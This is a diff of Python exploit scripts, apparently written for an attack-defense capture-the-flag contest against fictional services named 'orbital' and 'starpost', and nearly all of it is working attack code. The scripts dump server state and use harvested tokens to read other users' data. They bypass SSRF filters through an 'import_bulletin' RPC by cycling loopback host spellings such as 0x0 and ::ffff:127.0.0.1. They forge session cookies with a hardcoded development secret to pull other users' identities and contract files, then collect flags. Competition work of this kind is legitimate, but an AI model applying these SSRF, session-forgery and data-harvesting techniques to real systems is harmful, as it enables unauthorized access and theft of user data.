navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||||
|
return navigation if isinstance(navigation, str) else None
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_host_only(base: str, deadline: float) -> list[str]:
|
||||||
|
context = load_context(base)
|
||||||
|
if context is None:
|
||||||
|
context = create_host_context(base)
|
||||||
|
try:
|
||||||
|
raw_state = dump_state(base, context)
|
||||||
|
except ExploitError as exc:
|
||||||
|
stale_markers = (
|
||||||
|
"invalid token",
|
||||||
|
"unknown ship",
|
||||||
|
"unknown profile",
|
||||||
|
"unknown flight",
|
||||||
|
"unknown package",
|
||||||
|
)
|
||||||
|
if not any(marker in str(exc) for marker in stale_markers):
|
||||||
|
raise
|
||||||
|
discard_context(base)
|
||||||
|
context = create_host_context(base)
|
||||||
|
raw_state = dump_state(base, context)
|
||||||
|
try:
|
||||||
|
state = json.loads(raw_state)
|
||||||
|
except ValueError as exc:
|
||||||
|
raise ExploitError("state dump: invalid JSON") from exc
|
||||||
|
if not isinstance(state, dict):
|
||||||
|
raise ExploitError("state dump: invalid state")
|
||||||
|
loot = state_payloads(state)
|
||||||
|
users = state.get("users", {})
|
||||||
|
flights = state.get("flights", {})
|
||||||
|
owner_tokens = {}
|
||||||
|
if isinstance(users, dict):
|
||||||
|
for token, owner in users.items():
|
||||||
|
if isinstance(token, str) and isinstance(owner, str):
|
||||||
|
owner_tokens.setdefault(owner, token)
|
||||||
|
known_flights = set(context.get("known_flights", []))
|
||||||
|
read_flights = set(context.get("read_flights", []))
|
||||||
|
candidates: list[tuple[int, str, str]] = []
|
||||||
|
if isinstance(flights, dict):
|
||||||
|
for flight_id, flight in flights.items():
|
||||||
|
if not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||||
|
continue
|
||||||
|
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
|
||||||
|
continue
|
||||||
|
if flight_id in read_flights:
|
||||||
|
continue
|
||||||
|
token = owner_tokens.get(flight.get("owner"))
|
||||||
|
if not isinstance(token, str):
|
||||||
|
continue
|
||||||
|
candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
|
||||||
|
candidates.sort(key=lambda item: item[0])
|
||||||
|
checked = 0
|
||||||
|
pending = {}
|
||||||
|
candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
|
||||||
|
with ThreadPoolExecutor(max_workers=4) as pool:
|
||||||
|
while time.monotonic() < deadline:
|
||||||
|
while len(pending) < 4 and time.monotonic() < deadline:
|
||||||
|
try:
|
||||||
|
_, flight_id, token = next(candidate_iter)
|
||||||
|
except StopIteration:
|
||||||
|
break
|
||||||
|
pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
|
||||||
|
checked += 1
|
||||||
|
if not pending:
|
||||||
|
break
|
||||||
|
done, _ = wait(
|
||||||
|
pending, timeout=max(0.0, deadline - time.monotonic()),
|
||||||
|
return_when=FIRST_COMPLETED,
|
||||||
|
)
|
||||||
|
if not done:
|
||||||
|
break
|
||||||
|
for future in done:
|
||||||
|
flight_id = pending.pop(future)
|
||||||
|
try:
|
||||||
|
navigation = future.result()
|
||||||
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
continue
|
||||||
|
if navigation is None:
|
||||||
|
continue
|
||||||
|
read_flights.add(flight_id)
|
||||||
|
try:
|
||||||
|
nested_state = json.loads(navigation)
|
||||||
|
except ValueError:
|
||||||
|
nested_state = None
|
||||||
|
state_keys = {"users", "ships", "messages", "flights", "packages"}
|
||||||
|
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
|
||||||
|
loot.extend(state_payloads(nested_state))
|
||||||
|
else:
|
||||||
|
loot.append(navigation)
|
||||||
|
for future in pending:
|
||||||
|
future.cancel()
|
||||||
|
if isinstance(flights, dict):
|
||||||
|
context["known_flights"] = list(flights)
|
||||||
|
context["read_flights"] = list(read_flights.intersection(flights))
|
||||||
|
try:
|
||||||
|
save_context(base, context)
|
||||||
|
except OSError as exc:
|
||||||
|
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||||
|
print(f"state dump navigation reads: {checked}", file=sys.stderr)
|
||||||
|
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
|
||||||
|
return list(dict.fromkeys(item for item in sanitized if item))
|
||||||
|
|
||||||
|
|
||||||
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
|
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
|
||||||
status, raw = request(
|
status, raw = request(
|
||||||
base,
|
base,
|
||||||
@@ -158,14 +517,12 @@ def upload_package(base: str, package_id: str, token: str, content: bytes) -> No
|
|||||||
body=content,
|
body=content,
|
||||||
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
|
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
|
||||||
)
|
)
|
||||||
if status != 200:
|
|
||||||
raise ExploitError(f"package upload: HTTP {status}")
|
|
||||||
try:
|
try:
|
||||||
document = json.loads(raw)
|
document = json.loads(raw)
|
||||||
except (TypeError, ValueError) as exc:
|
except (TypeError, ValueError) as exc:
|
||||||
raise ExploitError("package upload: invalid response") from exc
|
raise ExploitError("package upload: invalid response") from exc
|
||||||
if not document.get("ok"):
|
if status != 200 or not document.get("ok"):
|
||||||
raise ExploitError("package upload failed")
|
raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
|
||||||
|
|
||||||
|
|
||||||
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
|
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
|
||||||
@@ -211,14 +568,31 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
|
|||||||
if status == 200:
|
if status == 200:
|
||||||
return [raw.decode("utf-8", errors="replace")]
|
return [raw.decode("utf-8", errors="replace")]
|
||||||
token = register(base)
|
token = register(base)
|
||||||
result = rpc(
|
last_error = None
|
||||||
base,
|
for internal_host in (
|
||||||
"import_bulletin",
|
"0.0.0.0",
|
||||||
token=token,
|
"0",
|
||||||
url=f"http://127.1:8080{path}",
|
"0000",
|
||||||
)
|
"0x0",
|
||||||
content = result.get("content") if isinstance(result, dict) else None
|
"::ffff:127.0.0.1",
|
||||||
return [content] if isinstance(content, str) else []
|
"::ffff:7f00:1",
|
||||||
|
"::ffff:0.0.0.0",
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
result = rpc(
|
||||||
|
base,
|
||||||
|
"import_bulletin",
|
||||||
|
token=token,
|
||||||
|
url=f"http://{internal_host}:8080{path}",
|
||||||
|
)
|
||||||
|
content = result.get("content") if isinstance(result, dict) else None
|
||||||
|
if isinstance(content, str):
|
||||||
|
return [content]
|
||||||
|
except ExploitError as exc:
|
||||||
|
last_error = exc
|
||||||
|
if last_error:
|
||||||
|
raise last_error
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
||||||
@@ -243,10 +617,11 @@ def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
|||||||
|
|
||||||
|
|
||||||
def run_exploit(target: str) -> list[str]:
|
def run_exploit(target: str) -> list[str]:
|
||||||
|
started = time.monotonic()
|
||||||
base, hint = parse_target(target)
|
base, hint = parse_target(target)
|
||||||
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
|
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
|
||||||
if not identifiers:
|
if not identifiers:
|
||||||
raise ValueError("checker hint with an orbital object id is required")
|
return exploit_host_only(base, started + TOTAL_RUNTIME)
|
||||||
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
|
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
|
||||||
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
|
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
|
||||||
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
|
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
|
||||||
@@ -282,16 +657,17 @@ def run_exploit(target: str) -> list[str]:
|
|||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
if len(sys.argv) != 2:
|
if len(sys.argv) != 2:
|
||||||
print(f"Usage: {sys.argv[0]} HOST#CHECKER_HINT", file=sys.stderr)
|
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
|
||||||
return 2
|
return 2
|
||||||
try:
|
try:
|
||||||
loot = run_exploit(sys.argv[1])
|
loot = run_exploit(sys.argv[1])
|
||||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
for item in loot:
|
flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)})
|
||||||
print(item, flush=True)
|
for flag in flags:
|
||||||
print(f"collected values: {len(loot)}", file=sys.stderr)
|
print(flag, flush=True)
|
||||||
|
print(f"collected flags: {len(flags)}", file=sys.stderr)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Executable
+263
@@ -0,0 +1,263 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from contextlib import contextmanager
|
||||||
|
from http.client import HTTPException
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import unquote, urlsplit, urlunsplit
|
||||||
|
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8086
|
||||||
|
INTERNAL_PORT = 8080
|
||||||
|
REQUEST_TIMEOUT = 1.5
|
||||||
|
RUN_TIMEOUT = 8.0
|
||||||
|
MAX_RESPONSE = 256 * 1024
|
||||||
|
MAX_HINT_LENGTH = 8192
|
||||||
|
MAX_SUMMARIES = 6
|
||||||
|
SUMMARY_PATTERN = re.compile(r"\bsummary-[0-9a-f]{32}\b", re.IGNORECASE)
|
||||||
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
INTERNAL_HOSTS = ("0.0.0.0", "0", "0000", "0x0")
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class HardDeadlineExceeded(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||||
|
|
||||||
|
|
||||||
|
def deadline_alarm(_signum, _frame):
|
||||||
|
raise HardDeadlineExceeded("run deadline exceeded")
|
||||||
|
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def hard_timeout(seconds: float):
|
||||||
|
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
|
||||||
|
yield
|
||||||
|
return
|
||||||
|
previous = signal.signal(signal.SIGALRM, deadline_alarm)
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, seconds)
|
||||||
|
try:
|
||||||
|
yield
|
||||||
|
finally:
|
||||||
|
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||||
|
signal.signal(signal.SIGALRM, previous)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_target(target: str) -> tuple[str, str]:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
address, separator, encoded_hint = raw.partition("#")
|
||||||
|
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||||
|
if not address:
|
||||||
|
raise ValueError("empty target address")
|
||||||
|
if len(hint) > MAX_HINT_LENGTH:
|
||||||
|
raise ValueError("checker hint is too large")
|
||||||
|
explicit_scheme = "://" in address
|
||||||
|
if not explicit_scheme:
|
||||||
|
authority = (
|
||||||
|
f"[{address}]"
|
||||||
|
if address.count(":") > 1 and not address.startswith("[")
|
||||||
|
else address
|
||||||
|
)
|
||||||
|
address = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(address)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target address must not include query or fragment")
|
||||||
|
port = parsed.port
|
||||||
|
if port is None:
|
||||||
|
port = (
|
||||||
|
443
|
||||||
|
if explicit_scheme and parsed.scheme == "https"
|
||||||
|
else 80 if explicit_scheme else SERVICE_PORT
|
||||||
|
)
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||||
|
|
||||||
|
|
||||||
|
def read_bounded(response, deadline: float) -> bytes:
|
||||||
|
chunks = []
|
||||||
|
total = 0
|
||||||
|
while total <= MAX_RESPONSE:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
chunk = response.read(min(16 * 1024, MAX_RESPONSE + 1 - total))
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
chunks.append(chunk)
|
||||||
|
total += len(chunk)
|
||||||
|
raw = b"".join(chunks)
|
||||||
|
if len(raw) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
return raw
|
||||||
|
|
||||||
|
|
||||||
|
def request(base: str, payload: bytes, deadline: float) -> tuple[int, bytes]:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
req = Request(
|
||||||
|
base + "/rpc",
|
||||||
|
data=payload,
|
||||||
|
headers={
|
||||||
|
"Accept": "application/json",
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
"User-Agent": "neo-orbital-summary-ssrf/1.0",
|
||||||
|
},
|
||||||
|
method="POST",
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||||
|
return response.status, read_bounded(response, deadline)
|
||||||
|
except HTTPError as exc:
|
||||||
|
with exc:
|
||||||
|
return exc.code, read_bounded(exc, deadline)
|
||||||
|
|
||||||
|
|
||||||
|
def rpc(base: str, deadline: float, action: str, **fields):
|
||||||
|
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||||
|
status, raw = request(base, payload, deadline)
|
||||||
|
try:
|
||||||
|
document = json.loads(raw)
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ExploitError(f"{action}: invalid response") from exc
|
||||||
|
if not isinstance(document, dict):
|
||||||
|
raise ExploitError(f"{action}: invalid response")
|
||||||
|
if status != 200 or document.get("ok") is not True:
|
||||||
|
raise ExploitError(f"{action}: request rejected (HTTP {status})")
|
||||||
|
return document.get("result")
|
||||||
|
|
||||||
|
|
||||||
|
def register(base: str, deadline: float) -> str:
|
||||||
|
result = rpc(base, deadline, "register")
|
||||||
|
auth = result.get("token") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(auth, str):
|
||||||
|
raise ExploitError("register: missing token")
|
||||||
|
return auth
|
||||||
|
|
||||||
|
|
||||||
|
def import_summary(
|
||||||
|
base: str, auth: str, summary_id: str, deadline: float
|
||||||
|
) -> tuple[set[bytes] | None, int]:
|
||||||
|
attempts = 0
|
||||||
|
for internal_host in INTERNAL_HOSTS:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
break
|
||||||
|
attempts += 1
|
||||||
|
try:
|
||||||
|
result = rpc(
|
||||||
|
base,
|
||||||
|
deadline,
|
||||||
|
"import_bulletin",
|
||||||
|
token=auth,
|
||||||
|
url=f"http://{internal_host}:{INTERNAL_PORT}/internal/summaries/{summary_id}",
|
||||||
|
)
|
||||||
|
except (
|
||||||
|
ExploitError,
|
||||||
|
HTTPError,
|
||||||
|
URLError,
|
||||||
|
TimeoutError,
|
||||||
|
HTTPException,
|
||||||
|
ValueError,
|
||||||
|
OSError,
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
content = result.get("content") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(content, str):
|
||||||
|
raise ExploitError("import_bulletin: missing content")
|
||||||
|
return set(FLAG_PATTERN.findall(content.encode())), attempts
|
||||||
|
return None, attempts
|
||||||
|
|
||||||
|
|
||||||
|
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
|
||||||
|
base, hint = parse_target(raw_target)
|
||||||
|
summary_ids = list(
|
||||||
|
dict.fromkeys(match.group(0).lower() for match in SUMMARY_PATTERN.finditer(hint))
|
||||||
|
)[:MAX_SUMMARIES]
|
||||||
|
if not summary_ids:
|
||||||
|
raise ValueError("checker hint with a summary id is required")
|
||||||
|
deadline = time.monotonic() + RUN_TIMEOUT
|
||||||
|
auth = register(base, deadline)
|
||||||
|
flags: set[str] = set()
|
||||||
|
processed = 0
|
||||||
|
attempts = 0
|
||||||
|
errors = 0
|
||||||
|
for summary_id in summary_ids:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
break
|
||||||
|
found, request_count = import_summary(base, auth, summary_id, deadline)
|
||||||
|
attempts += request_count
|
||||||
|
if found is None:
|
||||||
|
errors += 1
|
||||||
|
continue
|
||||||
|
processed += 1
|
||||||
|
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||||
|
if candidate in flags:
|
||||||
|
continue
|
||||||
|
flags.add(candidate)
|
||||||
|
if emit is not None:
|
||||||
|
emit(candidate)
|
||||||
|
if processed == 0:
|
||||||
|
if deadline - time.monotonic() <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
|
if errors:
|
||||||
|
raise ExploitError("all summary imports failed")
|
||||||
|
return sorted(flags), processed, attempts, errors
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} HOST#SUMMARY_HINT", file=sys.stderr)
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
with hard_timeout(RUN_TIMEOUT):
|
||||||
|
flags, processed, attempts, errors = run_exploit(
|
||||||
|
sys.argv[1], lambda candidate: print(candidate, flush=True)
|
||||||
|
)
|
||||||
|
except (
|
||||||
|
ExploitError,
|
||||||
|
HardDeadlineExceeded,
|
||||||
|
HTTPError,
|
||||||
|
URLError,
|
||||||
|
TimeoutError,
|
||||||
|
HTTPException,
|
||||||
|
ValueError,
|
||||||
|
OSError,
|
||||||
|
) as exc:
|
||||||
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print(
|
||||||
|
f"summaries={processed} attempts={attempts} errors={errors} flags={len(flags)}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
+62
-16
@@ -7,6 +7,7 @@ import concurrent.futures
|
|||||||
import hashlib
|
import hashlib
|
||||||
import hmac
|
import hmac
|
||||||
import json
|
import json
|
||||||
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
@@ -17,10 +18,12 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|||||||
TARGET_SCHEME = "http"
|
TARGET_SCHEME = "http"
|
||||||
SERVICE_PORT = 8090
|
SERVICE_PORT = 8090
|
||||||
REQUEST_TIMEOUT = 2.0
|
REQUEST_TIMEOUT = 2.0
|
||||||
|
TOTAL_TIMEOUT = 8.0
|
||||||
MAX_RESPONSE = 128 * 1024
|
MAX_RESPONSE = 128 * 1024
|
||||||
RECENT_USER_WINDOW = 32
|
RECENT_USER_WINDOW = 32
|
||||||
MAX_WORKERS = 8
|
MAX_WORKERS = 8
|
||||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||||
|
FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
class NoRedirects(HTTPRedirectHandler):
|
class NoRedirects(HTTPRedirectHandler):
|
||||||
@@ -64,7 +67,14 @@ def forge_session(user_id: int, role: str) -> str:
|
|||||||
return (value + b"." + b64(signature)).decode()
|
return (value + b"." + b64(signature)).decode()
|
||||||
|
|
||||||
|
|
||||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
|
def request(
|
||||||
|
base: str,
|
||||||
|
path: str,
|
||||||
|
method: str = "GET",
|
||||||
|
payload=None,
|
||||||
|
cookie: str | None = None,
|
||||||
|
timeout: float = REQUEST_TIMEOUT,
|
||||||
|
):
|
||||||
body = json.dumps(payload).encode() if payload is not None else None
|
body = json.dumps(payload).encode() if payload is not None else None
|
||||||
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||||
if body is not None:
|
if body is not None:
|
||||||
@@ -74,33 +84,50 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
|||||||
req = Request(base + path, data=body, headers=headers, method=method)
|
req = Request(base + path, data=body, headers=headers, method=method)
|
||||||
opener = build_opener(NoRedirects())
|
opener = build_opener(NoRedirects())
|
||||||
try:
|
try:
|
||||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
with opener.open(req, timeout=timeout) as response:
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
raise ValueError("response too large")
|
raise ValueError("response too large")
|
||||||
return response.status, data
|
return response.status, data
|
||||||
except HTTPError as exc:
|
except HTTPError as exc:
|
||||||
return exc.code, exc.read(MAX_RESPONSE)
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return exc.code, data
|
||||||
|
|
||||||
|
|
||||||
def register_probe(base: str) -> int:
|
def register_probe(base: str, deadline: float) -> int:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("overall deadline exceeded")
|
||||||
marker = secrets.token_hex(8)
|
marker = secrets.token_hex(8)
|
||||||
status, raw = request(
|
status, raw = request(
|
||||||
base,
|
base,
|
||||||
"/api/register",
|
"/api/register",
|
||||||
method="POST",
|
method="POST",
|
||||||
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
timeout=min(REQUEST_TIMEOUT, remaining),
|
||||||
)
|
)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
return int(json.loads(raw)["id"])
|
return int(json.loads(raw)["id"])
|
||||||
|
|
||||||
|
|
||||||
def collect_identity(base: str, user_id: int) -> list[bytes]:
|
def collect_identity(base: str, user_id: int, deadline: float) -> list[bytes]:
|
||||||
|
def fetch(path: str, cookie: str):
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
return request(base, path, cookie=cookie, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
return None
|
||||||
|
|
||||||
probe_cookie = forge_session(user_id, "seller")
|
probe_cookie = forge_session(user_id, "seller")
|
||||||
status, raw = request(base, "/api/me", cookie=probe_cookie)
|
response = fetch("/api/me", probe_cookie)
|
||||||
if status != 200:
|
if response is None or response[0] != 200:
|
||||||
return []
|
return []
|
||||||
|
_, raw = response
|
||||||
try:
|
try:
|
||||||
identity = json.loads(raw)
|
identity = json.loads(raw)
|
||||||
except (TypeError, ValueError):
|
except (TypeError, ValueError):
|
||||||
@@ -116,9 +143,12 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
|||||||
contract_file = identity.get("contract_file")
|
contract_file = identity.get("contract_file")
|
||||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||||
output = []
|
output = [raw]
|
||||||
for path in paths:
|
for path in paths:
|
||||||
status, data = request(base, path, cookie=cookie)
|
response = fetch(path, cookie)
|
||||||
|
if response is None:
|
||||||
|
continue
|
||||||
|
status, data = response
|
||||||
if status == 200 and data:
|
if status == 200 and data:
|
||||||
output.append(data)
|
output.append(data)
|
||||||
return output
|
return output
|
||||||
@@ -126,14 +156,29 @@ def collect_identity(base: str, user_id: int) -> list[bytes]:
|
|||||||
|
|
||||||
def run_exploit(target: str) -> str:
|
def run_exploit(target: str) -> str:
|
||||||
base = build_base_url(target)
|
base = build_base_url(target)
|
||||||
newest = register_probe(base)
|
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
newest = register_probe(base, deadline)
|
||||||
|
user_ids = list(range(newest - 1, max(0, newest - RECENT_USER_WINDOW - 1), -1))
|
||||||
chunks: list[bytes] = []
|
chunks: list[bytes] = []
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
|
futures = [pool.submit(collect_identity, base, uid, deadline) for uid in user_ids]
|
||||||
chunks.extend(result)
|
try:
|
||||||
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
|
for future in concurrent.futures.as_completed(
|
||||||
return b"\n".join(chunks).decode("utf-8", errors="replace")
|
futures,
|
||||||
|
timeout=max(0.001, deadline - time.monotonic()),
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
chunks.extend(future.result())
|
||||||
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||||
|
continue
|
||||||
|
except TimeoutError:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
for future in futures:
|
||||||
|
future.cancel()
|
||||||
|
flags = sorted(set(FLAG_RE.findall(b"\n".join(chunks))))
|
||||||
|
print(f"checked up to {len(user_ids)} recent identities; candidates={len(flags)}", file=sys.stderr)
|
||||||
|
return b"\n".join(flags).decode("ascii")
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -145,7 +190,8 @@ def main() -> int:
|
|||||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
print(output, flush=True)
|
if output:
|
||||||
|
print(output, flush=True)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -72,13 +72,17 @@ def request(
|
|||||||
opener = build_opener(NoRedirects())
|
opener = build_opener(NoRedirects())
|
||||||
last_error: OSError | URLError | None = None
|
last_error: OSError | URLError | None = None
|
||||||
for _ in range(attempts):
|
for _ in range(attempts):
|
||||||
if time.monotonic() >= deadline:
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
break
|
break
|
||||||
try:
|
try:
|
||||||
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
with opener.open(req, timeout=min(CONNECT_TIMEOUT, remaining)) as response:
|
||||||
|
remaining = deadline - time.monotonic()
|
||||||
|
if remaining <= 0:
|
||||||
|
raise TimeoutError("run deadline exceeded")
|
||||||
try:
|
try:
|
||||||
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
response.fp.raw._sock.settimeout(min(READ_TIMEOUT, remaining))
|
||||||
except AttributeError:
|
except (AttributeError, OSError):
|
||||||
pass
|
pass
|
||||||
data = response.read(MAX_RESPONSE + 1)
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
if len(data) > MAX_RESPONSE:
|
if len(data) > MAX_RESPONSE:
|
||||||
@@ -116,13 +120,84 @@ def register(target: str, deadline: float) -> tuple[int, str]:
|
|||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
